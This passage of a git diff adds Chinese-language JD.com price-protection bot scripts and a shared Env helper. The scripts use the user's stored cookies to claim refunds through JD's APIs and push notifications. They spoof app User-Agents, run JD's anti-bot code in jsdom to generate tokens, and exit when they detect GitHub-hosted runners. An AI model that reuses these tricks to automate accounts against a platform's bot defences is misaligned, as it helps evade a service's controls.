if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_price.js b/backUp/jd_price.js new file mode 100644 index 0000000..e38ef6a --- /dev/null +++ b/backUp/jd_price.js @@ -0,0 +1,803 @@ +/* +cron 5 2 * * * +update 2021/7/25 +京东价格保护:脚本更新地址 https://raw.githubusercontent.com/ZCY01/daily_scripts/main/jd/jd_priceProtect.js +脚本兼容: QuantumultX, Node.js +==========================Quantumultx========================= +打开手机客户端,或者浏览器访问 https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu + +[rewrite_local] +https:\/\/api\.m.jd.com\/api\?appid=siteppM&functionId=siteppM_priceskusPull url script-request-body https://raw.githubusercontent.com/ZCY01/daily_scripts/main/jd/jd_priceProtectRewrite.js + +[task_local] +# 京东价格保护 +5 0 * * * https://raw.githubusercontent.com/ZCY01/daily_scripts/main/jd/jd_priceProtect.js, tag=京东价格保护, img-url=https://raw.githubusercontent.com/ZCY01/img/master/pricev1.png, enabled=true +*/ + +const $ = new Env('京东价格保护'); + +const unifiedGatewayName = 'https://api.m.jd.com' + +// 请先配置 token!!!最好抓APP的! +let tokens = '' +console.log(`\n如果报错。请参考:\nhttps://github.com/ZCY01/daily_scripts/tree/main/jd\n设置token`); +$.HyperParam = { + sid_hid: '', + type_hid: '3', + forcebot: '' +} +!(async () => { + await requireConfig() + // if (!$.tokenList[0]) { + // $.msg($.name, '请先获取JD_TOKEN', 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu', { + // "open-url": "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu" + // }) + // return + // } + for (let i = 0; i < $.cookiesArr.length; i++) { + if ($.cookiesArr[i]) { + $.cookie = $.cookiesArr[i] + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=(.+?);/) && $.cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1 + $.isLogin = true + $.nickName = '' + await totalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `X东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, { + "open-url": "https://bean.m.jd.com/" + }) + await $.notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `X东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + continue + } + console.log(`\n***********开始【X东账号${$.index}】${$.nickName || $.UserName}********\n`); + + $.refundtotalamount = 0 + $.token = $.tokenList.length > i ? $.tokenList[i] : ($.token || '') + $.feSt = $.token ? 's' : 'f' + + $.applied = false + await onceApply() + if ($.applied) { + await checkOnceAppliedResult() + } + await showMsg() + await $.wait(1000) + } + } +})() + .catch((e) => { + console.log(`❗️ ${$.name} 运行错误!\n${e}`) + }).finally(() => $.done()) + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + $.notify = $.isNode() ? require('./sendNotify') : { sendNotify: async () => { } } + //获取 Cookies + $.cookiesArr = [] + if ($.isNode()) { + //Node.js用户请在jdCookie.js处填写X东ck; + const jdCookieNode = require('./jdCookie.js'); + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + $.cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + //IOS等用户直接用NobyDa的jd $.cookie + $.cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${$.cookiesArr.length}个X东账号\n`) + + if ($.isNode) { + if (process.env.JD_TOKENS) tokens = process.env.JD_TOKENS + } + else { + tokens = $.getdata('jd_token') || tokens + } + $.tokenList = tokens.split('@') + resolve() + }) +} + +function onceApply() { + return new Promise((resolve, reject) => { + let paramObj = {}; + paramObj.sid = $.HyperParam.sid_hid + paramObj.type = $.HyperParam.type_hid + paramObj.forcebot = $.HyperParam.forcebot + paramObj.token = $.token + paramObj.feSt = $.feSt + + let options = taskurl('siteppM_skuOnceApply', paramObj) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) + } else { + data = JSON.parse(data) + if (data.flag) { + $.applied = true + } + else { + console.log(`一键价格保护失败,原因:${data.responseMessage}`) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +function checkOnceAppliedResult() { + return new Promise((resolve, reject) => { + let paramObj = {} + paramObj.sid = $.HyperParam.sid_hid + paramObj.type = $.HyperParam.type_hid + paramObj.forcebot = $.forcebot + paramObj.num = 10 + + let options = taskurl('siteppM_appliedSuccAmount', paramObj) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) + } else { + data = JSON.parse(data) + if (data.flag) { + $.refundtotalamount = data.succAmount + } + else { + console.log(`一键价格保护结果:${JSON.stringify(data)}`) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +function totalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`X东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskurl(functionid, body) { + const urlStr = `${unifiedGatewayName}/api?appid=siteppM&functionId=${functionid}&forcebot=${$.HyperParam.forcebot}&t=${new Date().getTime()}` + return { + "url": urlStr, + "headers": { + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://msitepp-fm.jd.com', + 'Connection': 'keep-alive', + 'Referer': 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu', + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1", + "Cookie": $.cookie + }, + "body": body ? `body=${encodeURIComponent(JSON.stringify(body))}` : undefined + } +} + +async function showMsg() { + const message = `X东账号${$.index} ${$.nickName || $.UserName}\n🎉 本次价格保护金额:${$.refundtotalamount}💰` + console.log(message) + if ($.refundtotalamount) { + $.msg($.name, ``, message, { + "open-url": "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu" + }); + await $.notify.sendNotify($.name, message) + } +} + +// 来自 @chavyleung 大佬 +// https://raw.githubusercontent.com/chavyleung/scripts/master/Env.js +function Env(name, opts) { + class Http { + constructor(env) { + this.env = env + } + + send(opts, method = 'GET') { + opts = typeof opts === 'string' ? { + url: opts + } : opts + let sender = this.get + if (method === 'POST') { + sender = this.post + } + return new Promise((resolve, reject) => { + sender.call(this, opts, (err, resp, body) => { + if (err) reject(err) + else resolve(resp) + }) + }) + } + + get(opts) { + return this.send.call(this.env, opts) + } + + post(opts) { + return this.send.call(this.env, opts, 'POST') + } + } + + return new (class { + constructor(name, opts) { + this.name = name + this.http = new Http(this) + this.data = null + this.dataFile = 'box.dat' + this.logs = [] + this.isMute = false + this.isNeedRewrite = false + this.logSeparator = '\n' + this.startTime = new Date().getTime() + Object.assign(this, opts) + this.log('', `🔔${this.name}, 开始!`) + } + + isNode() { + return 'undefined' !== typeof module && !!module.exports + } + + isQuanX() { + return 'undefined' !== typeof $task + } + + isSurge() { + return 'undefined' !== typeof $httpClient && 'undefined' === typeof $loon + } + + isLoon() { + return 'undefined' !== typeof $loon + } + + toObj(str, defaultValue = null) { + try { + return JSON.parse(str) + } catch { + return defaultValue + } + } + + toStr(obj, defaultValue = null) { + try { + return JSON.stringify(obj) + } catch { + return defaultValue + } + } + + getjson(key, defaultValue) { + let json = defaultValue + const val = this.getdata(key) + if (val) { + try { + json = JSON.parse(this.getdata(key)) + } catch { } + } + return json + } + + setjson(val, key) { + try { + return this.setdata(JSON.stringify(val), key) + } catch { + return false + } + } + + getScript(url) { + return new Promise((resolve) => { + this.get({ + url + }, (err, resp, body) => resolve(body)) + }) + } + + runScript(script, runOpts) { + return new Promise((resolve) => { + let httpapi = this.getdata('@chavy_boxjs_userCfgs.httpapi') + httpapi = httpapi ? httpapi.replace(/\n/g, '').trim() : httpapi + let httpapi_timeout = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout') + httpapi_timeout = httpapi_timeout ? httpapi_timeout * 1 : 20 + httpapi_timeout = runOpts && runOpts.timeout ? runOpts.timeout : httpapi_timeout + const [key, addr] = httpapi.split('@') + const opts = { + url: `http://${addr}/v1/scripting/evaluate`, + body: { + script_text: script, + mock_type: 'cron', + timeout: httpapi_timeout + }, + headers: { + 'X-Key': key, + 'Accept': '*/*' + } + } + this.post(opts, (err, resp, body) => resolve(body)) + }).catch((e) => this.logErr(e)) + } + + loaddata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require('fs') + this.path = this.path ? this.path : require('path') + const curDirDataFilePath = this.path.resolve(this.dataFile) + const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) + const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) + const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) + if (isCurDirDataFile || isRootDirDataFile) { + const datPath = isCurDirDataFile ? curDirDataFilePath : rootDirDataFilePath + try { + return JSON.parse(this.fs.readFileSync(datPath)) + } catch (e) { + return {} + } + } else return {} + } else return {} + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require('fs') + this.path = this.path ? this.path : require('path') + const curDirDataFilePath = this.path.resolve(this.dataFile) + const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) + const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) + const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) + const jsondata = JSON.stringify(this.data) + if (isCurDirDataFile) { + this.fs.writeFileSync(curDirDataFilePath, jsondata) + } else if (isRootDirDataFile) { + this.fs.writeFileSync(rootDirDataFilePath, jsondata) + } else { + this.fs.writeFileSync(curDirDataFilePath, jsondata) + } + } + } + + lodash_get(source, path, defaultValue = undefined) { + const paths = path.replace(/\[(\d+)\]/g, '.$1').split('.') + let result = source + for (const p of paths) { + result = Object(result)[p] + if (result === undefined) { + return defaultValue + } + } + return result + } + + lodash_set(obj, path, value) { + if (Object(obj) !== obj) return obj + if (!Array.isArray(path)) path = path.toString().match(/[^.[\]]+/g) || [] + path + .slice(0, -1) + .reduce((a, c, i) => (Object(a[c]) === a[c] ? a[c] : (a[c] = Math.abs(path[i + 1]) >> 0 === +path[i + 1] ? [] : {})), obj)[ + path[path.length - 1] + ] = value + return obj + } + + getdata(key) { + let val = this.getval(key) + // 如果以 @ + if (/^@/.test(key)) { + const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) + const objval = objkey ? this.getval(objkey) : '' + if (objval) { + try { + const objedval = JSON.parse(objval) + val = objedval ? this.lodash_get(objedval, paths, '') : val + } catch (e) { + val = '' + } + } + } + return val + } + + setdata(val, key) { + let issuc = false + if (/^@/.test(key)) { + const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) + const objdat = this.getval(objkey) + const objval = objkey ? (objdat === 'null' ? null : objdat || '{}') : '{}' + try { + const objedval = JSON.parse(objval) + this.lodash_set(objedval, paths, val) + issuc = this.setval(JSON.stringify(objedval), objkey) + } catch (e) { + const objedval = {} + this.lodash_set(objedval, paths, val) + issuc = this.setval(JSON.stringify(objedval), objkey) + } + } else { + issuc = this.setval(val, key) + } + return issuc + } + + getval(key) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.read(key) + } else if (this.isQuanX()) { + return $prefs.valueForKey(key) + } else if (this.isNode()) { + this.data = this.loaddata() + return this.data[key] + } else { + return (this.data && this.data[key]) || null + } + } + + setval(val, key) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.write(val, key) + } else if (this.isQuanX()) { + return $prefs.setValueForKey(val, key) + } else if (this.isNode()) { + this.data = this.loaddata() + this.data[key] = val + this.writedata() + return true + } else { + return (this.data && this.data[key]) || null + } + } + + initGotEnv(opts) { + this.got = this.got ? this.got : require('got') + this.cktough = this.cktough ? this.cktough : require('tough-cookie') + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar() + if (opts) { + opts.headers = opts.headers ? opts.headers : {} + if (undefined === opts.headers.Cookie && undefined === opts.cookieJar) { + opts.cookieJar = this.ckjar + } + } + } + + get(opts, callback = () => { }) { + if (opts.headers) { + delete opts.headers['Content-Type'] + delete opts.headers['Content-Length'] + } + if (this.isSurge() || this.isLoon()) { + if (this.isSurge() && this.isNeedRewrite) { + opts.headers = opts.headers || {} + Object.assign(opts.headers, { + 'X-Surge-Skip-Scripting': false + }) + } + $httpClient.get(opts, (err, resp, body) => { + if (!err && resp) { + resp.body = body + resp.statusCode = resp.status + } + callback(err, resp, body) + }) + } else if (this.isQuanX()) { + if (this.isNeedRewrite) { + opts.opts = opts.opts || {} + Object.assign(opts.opts, { + hints: false + }) + } + $task.fetch(opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => callback(err) + ) + } else if (this.isNode()) { + this.initGotEnv(opts) + this.got(opts) + .on('redirect', (resp, nextOpts) => { + try { + if (resp.headers['set-cookie']) { + const ck = resp.headers['set-cookie'].map(this.cktough.Cookie.parse).toString() + if (ck) { + this.ckjar.setCookieSync(ck, null) + } + nextOpts.cookieJar = this.ckjar + } + } catch (e) { + this.logErr(e) + } + // this.ckjar.setCookieSync(resp.headers['set-cookie'].map(Cookie.parse).toString()) + }) + .then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => { + const { + message: error, + response: resp + } = err + callback(error, resp, resp && resp.body) + } + ) + } + } + + post(opts, callback = () => { }) { + // 如果指定了请求体, 但没指定`Content-Type`, 则自动生成 + if (opts.body && opts.headers && !opts.headers['Content-Type']) { + opts.headers['Content-Type'] = 'application/x-www-form-urlencoded' + } + if (opts.headers) delete opts.headers['Content-Length'] + if (this.isSurge() || this.isLoon()) { + if (this.isSurge() && this.isNeedRewrite) { + opts.headers = opts.headers || {} + Object.assign(opts.headers, { + 'X-Surge-Skip-Scripting': false + }) + } + $httpClient.post(opts, (err, resp, body) => { + if (!err && resp) { + resp.body = body + resp.statusCode = resp.status + } + callback(err, resp, body) + }) + } else if (this.isQuanX()) { + opts.method = 'POST' + if (this.isNeedRewrite) { + opts.opts = opts.opts || {} + Object.assign(opts.opts, { + hints: false + }) + } + $task.fetch(opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => callback(err) + ) + } else if (this.isNode()) { + this.initGotEnv(opts) + const { + url, + ..._opts + } = opts + this.got.post(url, _opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => { + const { + message: error, + response: resp + } = err + callback(error, resp, resp && resp.body) + } + ) + } + } + /** + * + * 示例:$.time('yyyy-MM-dd qq HH:mm:ss.S') + * :$.time('yyyyMMddHHmmssS') + * y:年 M:月 d:日 q:季 H:时 m:分 s:秒 S:毫秒 + * 其中y可选0-4位占位符、S可选0-1位占位符,其余可选0-2位占位符 + * @param {*} fmt 格式化参数 + * + */ + time(fmt) { + let o = { + 'M+': new Date().getMonth() + 1, + 'd+': new Date().getDate(), + 'H+': new Date().getHours(), + 'm+': new Date().getMinutes(), + 's+': new Date().getSeconds(), + 'q+': Math.floor((new Date().getMonth() + 3) / 3), + 'S': new Date().getMilliseconds() + } + if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length)) + for (let k in o) + if (new RegExp('(' + k + ')').test(fmt)) + fmt = fmt.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ('00' + o[k]).substr(('' + o[k]).length)) + return fmt + } + + /** + * 系统通知 + * + * > 通知参数: 同时支持 QuanX 和 Loon 两种格式, EnvJs根据运行环境自动转换, Surge 环境不支持多媒体通知 + * + * 示例: + * $.msg(title, subt, desc, 'twitter://') + * $.msg(title, subt, desc, { 'open-url': 'twitter://', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) + * $.msg(title, subt, desc, { 'open-url': 'https://bing.com', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) + * + * @param {*} title 标题 + * @param {*} subt 副标题 + * @param {*} desc 通知详情 + * @param {*} opts 通知参数 + * + */ + msg(title = name, subt = '', desc = '', opts) { + const toEnvOpts = (rawopts) => { + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (this.isLoon()) return rawopts + else if (this.isQuanX()) return { + 'open-url': rawopts + } + else if (this.isSurge()) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (this.isLoon()) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (this.isQuanX()) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (this.isSurge()) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + if (!this.isMute) { + if (this.isSurge() || this.isLoon()) { + $notification.post(title, subt, desc, toEnvOpts(opts)) + } else if (this.isQuanX()) { + $notify(title, subt, desc, toEnvOpts(opts)) + } + } + if (!this.isMuteLog) { + let logs = ['', '==============📣系统通知📣=============='] + logs.push(title) + subt ? logs.push(subt) : '' + desc ? logs.push(desc) : '' + console.log(logs.join('\n')) + this.logs = this.logs.concat(logs) + } + } + + log(...logs) { + if (logs.length > 0) { + this.logs = [...this.logs, ...logs] + } + console.log(logs.join(this.logSeparator)) + } + + logErr(err, msg) { + const isPrintSack = !this.isSurge() && !this.isQuanX() && !this.isLoon() + if (!isPrintSack) { + this.log('', `❗️${this.name}, 错误!`, err) + } else { + this.log('', `❗️${this.name}, 错误!`, err.stack) + } + } + + wait(time) { + return new Promise((resolve) => setTimeout(resolve, time)) + } + + done(val = {}) { + const endTime = new Date().getTime() + const costTime = (endTime - this.startTime) / 1000 + this.log('', `🔔${this.name}, 结束! 🕛 ${costTime} 秒`) + this.log() + if (this.isSurge() || this.isQuanX() || this.isLoon()) { + $done(val) + } + } + })(name, opts) +} diff --git a/backUp/jd_priceProtect_Mod.js b/backUp/jd_priceProtect_Mod.js new file mode 100644 index 0000000..0fd1aad --- /dev/null +++ b/backUp/jd_priceProtect_Mod.js @@ -0,0 +1,648 @@ +/* +cron "5 11 2,7,12,17,22,27 * *" jd_priceProtect_Mod.js, tag:京东价格保护通知版 + */ +//版权归原作者,我只是加上了通知方便提醒朋友. + +const $ = new Env('京东价格保护通知版'); +let jsdom = require("jsdom"); +const { + JSDOM +} = jsdom; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +let strNotify = ""; +let strAllNotify = ""; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') + console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${UUID};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + strNotify = ""; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await main() + if (strNotify) { + strAllNotify += `****【京东账号${$.index} ${$.nickName || $.UserName}】****\n` + strNotify+`\n\n`; + } + } + } + if($.isNode() && strAllNotify){ + await notify.sendNotify(`${$.name}`, strAllNotify); + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +async function main() { + $.flag = false; + vo = await token(); + if (vo) { + if (vo.result === '0') { + await skuOnceApply(vo.token); + if ($.flag) { + await appliedSuccAmount() + } + } else { + $.log('获取token失败,请重试!') + } + } +} +async function token() { + vo = await jstoken(); + if (vo != null) { + return { + "result": "0", + "token": vo + } + } else { + return { + "result": "1", + "token": null + } + } +} +async function appliedSuccAmount() { + let body = { + "sid": "", + "type": "3", + "forcebot": "", + "num": 15 + } + return new Promise(resolve => { + $.post(taskUrl("siteppM_appliedSuccAmount", body), (err, resp, data) => { + try { + if (err) { + console.log(err); + console.log(`${$.name} API请求失败,请检查网路重试`); + strNotify = "保价失败:API请求失败,请检查网路重试"; + } else { + data = JSON.parse(data) + if (data) { + if (data.flag) { + console.log(`保价成功:获得${data.succAmount}元`); + strNotify = `保价成功:获得${data.succAmount}元`; + } else { + console.log("保价失败:没有需要保价的订单."); + //strNotify = "保价失败:没有需要保价的订单."; + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} +async function skuOnceApply(token) { + let body = { + "sid": "", + "type": "3", + "forcebot": "", + "token": token + } + return new Promise(resolve => { + $.post(taskUrl("siteppM_skuOnceApply", body), (err, resp, data) => { + try { + if (err) { + console.log(err) + console.log(`${$.name} API请求失败,请检查网路重试`) + //strNotify = "保价失败:API请求失败,请检查网路重试"; + } else { + data = JSON.parse(data) + if (data) { + if (data.flag) { + $.flag = true; + } else { + console.log(`保价失败:${data.responseMessage}`); + strNotify = `保价失败:${data.responseMessage}`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} +function taskUrl(function_id, body) { + return { + url: `https://api.m.jd.com/api?appid=siteppM&functionId=${function_id}&forcebot=&t=${new Date().getTime()}`, + body: `body=${encodeURIComponent(JSON.stringify(body))}`, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://msitepp-fm.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Accept": "application/json", + "User-Agent": UA, + "Referer": "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu", + "Cookie": cookie, + } + } +} +async function jstoken() { + let resourceLoader = new jsdom.ResourceLoader({ + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', + referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu?sid=0b5a9d5564059f36ed16a8967c37e24w", + }); + let virtualConsole = new jsdom.VirtualConsole(); + var options = { + referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu?sid=0b5a9d5564059f36ed16a8967c37e24w", + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', + runScripts: "dangerously", + resources: resourceLoader, + // cookieJar, + includeNodeLocations: true, + storageQuota: 10000000, + pretendToBeVisual: true, + virtualConsole + }; + dom = new JSDOM(``, options); + await $.wait(1000) + try { + feSt = 's' + jab = new dom.window.JAB({ + bizId: 'jdjiabao', + initCaptcha: false + }) + return jab.getToken() + } catch (e) {} +} +// prettier-ignore +function TotalBean() { + return new Promise(async e => { + const n = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": UA, + "Accept-Language": "zh-cn", + Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + }; + $.get(n, (n, o, a) => { + try { + if (n) + $.logErr(n); + else if (a) { + if (1001 === (a = JSON.parse(a))["retcode"]) + return void($.isLogin = !1); + 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), + 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) + } else + console.log("京东服务器返回空数据") + } catch (e) { + $.logErr(e) + } + finally { + e() + } + }) + }) +} +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { + return x.replace(/[xy]/g, function (x) { + var r = 16 * Math.random() | 0, + n = "x" == x ? r : 3 & r | 8; + return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), + uuid + }) +} +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + 